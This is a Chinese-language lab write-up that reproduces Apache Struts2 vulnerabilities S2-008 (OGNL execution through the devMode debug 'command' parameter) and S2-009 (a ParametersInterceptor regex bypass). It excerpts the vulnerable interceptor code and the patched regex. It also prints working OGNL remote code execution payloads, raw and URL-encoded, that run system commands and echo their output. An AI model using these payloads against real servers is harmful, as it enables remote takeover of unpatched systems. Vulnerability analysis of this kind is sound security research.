漏洞环境改自vulhub https://github.com/kingkaki/Struts2-Vulenv
https://cwiki.apache.org/confluence/display/WW/S2-008
主要是利用对传入参数没有严格限制,导致多个地方可以执行恶意代码
第一种情况其实就是S2-007,在异常处理时的OGNL执行
第二种的cookie的方式,虽然在struts2没有对恶意代码进行限制,但是java的webserver(Tomcat),对cookie的名称有较多限制,在传入struts2之前就被处理,从而较为鸡肋
第四种需要开启devMode
debug模式
这里复现采用的是第四种devMode
的debug模式,造成的任意代码执行
过程也比较简单,在struts.xml中配置了如下xml语句,就可以开启debug模式
然后传入?debug=command&expression=
即可执行OGNL表达式
http://localhost:8888/devmode.action?debug=command&expression=%28%23application%29
就可以看到应用的相关信息
然后按照惯例弹个计算器,payload
(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('calc').getInputStream()))
传入前记得编码
%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27calc%27%29.getInputStream%28%29%29%29
感觉没有什么太多好分析的,触发地址
S2-008/web/WEB-INF/lib/struts2-core-2.2.3.jar!/org/apache/struts2/interceptor/debugging/DebuggingInterceptor.class:87
代码比较多,而且比较多的部分都是无用的代码,就简化了下
public String intercept(ActionInvocation inv) throws Exception {
boolean actionOnly = false;
boolean cont = true;
Boolean devModeOverride = FilterDispatcher.getDevModeOverride();
boolean devMode = devModeOverride != null ? devModeOverride : this.devMode;
final ActionContext ctx;
if (devMode) {
ctx = ActionContext.getContext();
String type = this.getParameter("debug");
ctx.getParameters().remove("debug");
if ("xml".equals(type)) {
....
} else if ("console".equals(type)) {
....
} else if ("command".equals(type)) {
ValueStack stack = (ValueStack)ctx.getSession().get("org.apache.struts2.interceptor.debugging.VALUE_STACK");
if (stack == null) {
stack = (ValueStack)ctx.get("com.opensymphony.xwork2.util.ValueStack.ValueStack");
ctx.getSession().put("org.apache.struts2.interceptor.debugging.VALUE_STACK", stack);
}
String cmd = this.getParameter("expression");
ServletActionContext.getRequest().setAttribute("decorator", "none");
HttpServletResponse res = ServletActionContext.getResponse();
res.setContentType("text/plain");
try {
PrintWriter writer = ServletActionContext.getResponse().getWriter();
writer.print(stack.findValue(cmd));
writer.close();
} catch (IOException var17) {
var17.printStackTrace();
}
.....
一开始取出get中的debug
参数的值,然后进入if语句
当值等于command
时,取出expression
的值赋值给cmd
通过statck.findValue
即可执行OGNL表达式,造成代码执行
主要是加强了对于参数的正则匹配ParametersInterceptor.class
(左边为修补后的,右边为有漏洞的版本)
在CookieInterceptor.class
中也做了限制
https://cwiki.apache.org/confluence/display/WW/S2-009
在修补了S2-003和S2-005之后,攻击者又发现了一种新的绕过ParametersInterceptor
正则保护的攻击方式
当传入(ONGL)(1)
时,会将前者视为ONGL表达式来执行,从而绕过了正则的匹配保护。而且由于其在HTTP参数值中,也可以进一步绕过字符串限制的保护
这回是直接利用官方的showcase
war包来演示漏洞利用
触发地址/ajax/example5.action
在网上找了个有回显的payload
age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+#_memberAccess["allowStaticMethodAccess"]=true,+#[email protected]@getRuntime().exec('ls').getInputStream(),#b=new+java.io.InputStreamReader(#a),#c=new+java.io.BufferedReader(#b),#d=new+char[51020],#c.read(#d),#[email protected]@getResponse().getWriter(),#kxlzx.println(#d),#kxlzx.close())(meh)&z[(name)('meh')]
编码后完整的url
http://192.168.85.133:8080/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
网页访问会返回一个文件下载,这里直接用burp会方便点,可以直接看
感觉这回的没什么好分析的,还是之前提的
当传入
(ONGL)(1)
时,会将前者视为ONGL表达式来执行,从而绕过了正则的匹配保护。而且由于其在HTTP参数值中,也可以进一步绕过字符串限制的保护
主要还是参数过滤的问题,可以配合漏洞修复一起看看
在参数拦截器中,将接受参数的正则进行了升级
struts2.3.1.1:
private String acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_']+";
struts2.3.1.2:
private String acceptedParamNames = "\\w+((\\.\\w+)|(\\[\\d+\\])|(\\(\\d+\\))|(\\['\\w+'\\])|(\\('\\w+'\\)))*";
从而防御了(ONGL)(1)
形式的攻击
https://www.jianshu.com/p/68bf5ca2d61f